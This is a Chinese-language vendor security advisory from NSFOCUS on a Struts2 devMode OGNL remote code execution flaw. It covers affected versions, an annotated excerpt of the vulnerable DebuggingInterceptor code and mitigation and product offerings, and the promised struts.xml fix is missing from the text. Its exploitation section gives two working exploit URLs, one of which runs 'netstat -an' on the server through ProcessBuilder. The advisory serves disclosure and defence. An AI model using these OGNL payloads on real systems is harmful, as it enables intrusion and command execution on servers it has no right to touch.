Struts2开发模式漏洞技术分析与防护方案

近期研究人员发现当Struts2中的devMode模式设置为true时,存在严重远程代码执行漏洞。如果WEB服务以最高权限运行时,可远程执行任意命令,包括远程控制服务器。

官方已经明确警示用户在发布系统时必须关闭devMode,后续针对此模式的漏洞将不在进入到漏洞处理流程。

官方公告如下:

https://struts.apache.org/docs/devmode.html

经过绿盟科技安全人员分析,发现是一个历史遗留问题。本着对客户负责的态度,绿盟科技针对此漏洞进行应急响应,保证客户系统的安全。

什么是Struts2?

Struts2 是第二代基于Model-View-Controller (MVC)模型的web应用框架。 Struts2是java企业级web应用的可扩展性的框架。它是WebWork和Struts社区合并后的产物。

影响的版本

Struts 2.1.0–2.5.1。

不受影响的版本

漏洞分析

分析的代码版本为2.5.1.

该漏洞主要问题出在src\core\src\main\java\org\apache\struts2\interceptor\debugging\DebuggingInterceptor.java: DebuggingInterceptor类,这个类是调试拦截器,在开启devMode的情况下,会对debug参数的值进行处理,主要代码分析如下:

//如下为debug类型
private final static String XML_MODE = "xml";
private final static String CONSOLE_MODE = "console";
private final static String COMMAND_MODE = "command";
private final static String BROWSER_MODE = "browser";
private final static String SESSION_KEY = "org.apache.struts2.interceptor.debugging.VALUE_STACK";
//定义debug字符串的宏
private final static String DEBUG_PARAM = "debug";
private final static String OBJECT_PARAM = "object";
private final static String EXPRESSION_PARAM = "expression";
public String intercept(ActionInvocation inv) throws Exception {  //拦截函数
…
boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;
if (devMode) {      //devMode=true
    String type = getParameter(DEBUG_PARAM);
    if (XML_MODE.equals(type)) {
        ……
    }else if (CONSOLE_MODE.equals(type)) {
        ……
    }else if (COMMAND_MODE.equals(type)) {
        ……
        //debug= command&expression =xxx
        String cmd = getParameter(EXPRESSION_PARAM);            //这里获得表达式的值
        ServletActionContext.getRequest().setAttribute("decorator", "none");
        HttpServletResponse res = ServletActionContext.getResponse();
        res.setContentType("text/plain");
        try (PrintWriter writer =ServletActionContext.getResponse().getWriter()){
            writer.print(stack.findValue(cmd));  
                    //这里将用户提交的数据送到了ognl解析器里作为表达式执行
        }catch (IOException ex) {
            ex.printStackTrace();
        }
        ……
    }else if (BROWSER_MODE.equals(type)) {
        ……
        //debug=browser&object=xxx
        String rootObjectExpression = getParameter(OBJECT_PARAM); //这里获得对象的内容
        Object rootObject = stack.findValue(rootObjectExpression); 
                   //这里将用户提交的数据送到了ognl解析器里作为表达式执行
        try (StringWriter writer = new StringWriter()) {
                ObjectToHTMLWriter htmlWriter = new ObjectToHTMLWriter(writer);
                htmlWriter.write(reflectionProvider, rootObject, rootObjectExpression);
                String html = writer.toString();
                writer.close();
           ……
           }catch (Exception ex) {
               LOG.error("Unable to create debugging console", ex);
         }
    }
}
……
 }

漏洞利用方法

假设目标为192.168.188.138:8080/helloword.action,访问如下链接即可触发问题:

http://192.168.188.138:8080/helloword.action? debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=nsfocus
请求返回的结果中会包含nsfocus字符,或者访问如下链接执行网路状态命令:

http://192.168.188.138:8080/Struts_2.3.15.1/helloword.action?debug=command&expression=%23a%3dnew%
 20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().
 getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.
 BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23tpcs%3d%23context.get
 ('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23tpcs.
  println(%23d),%23tpcs.close()

漏洞利用条件

在服务端开启debug模式下,直接与服务端交互即可。但由于需开启debug模式(默认情况下不开启),所以影响程度不大。

防护方案

  • 如果为受影响的版本,建议修改配置文件struts.xml,增加或更改内容如下:

  • 绿盟科技在线云检测,登陆绿盟科技云,申请极光自助扫描服务试用: https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?pid=0&sid=0

  • 使用绿盟科技的远程评估系统(RSAS/WVSS)对内网进行安全评估。
  • 使用绿盟科技检测类产品(IDS)进行检测。
  • 使用绿盟科技防护类产品(IPS/NF/SG)进行防护。
  • 已经购买了绿盟科技相关产品服务的客户可以通过产品升级进行检测与防护。
  • 短期服务:绿盟科技工程师现场处理。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
  • 中期服务:提供 3-6个月的风险监控与巡检服务。根除风险,确保事件不复发。
  • 长期服务:基金行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)。

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:486207500、570982169
直接询问:010-68438880-8669

Spread the word. Share this post!

Meet The Author

Leave Comment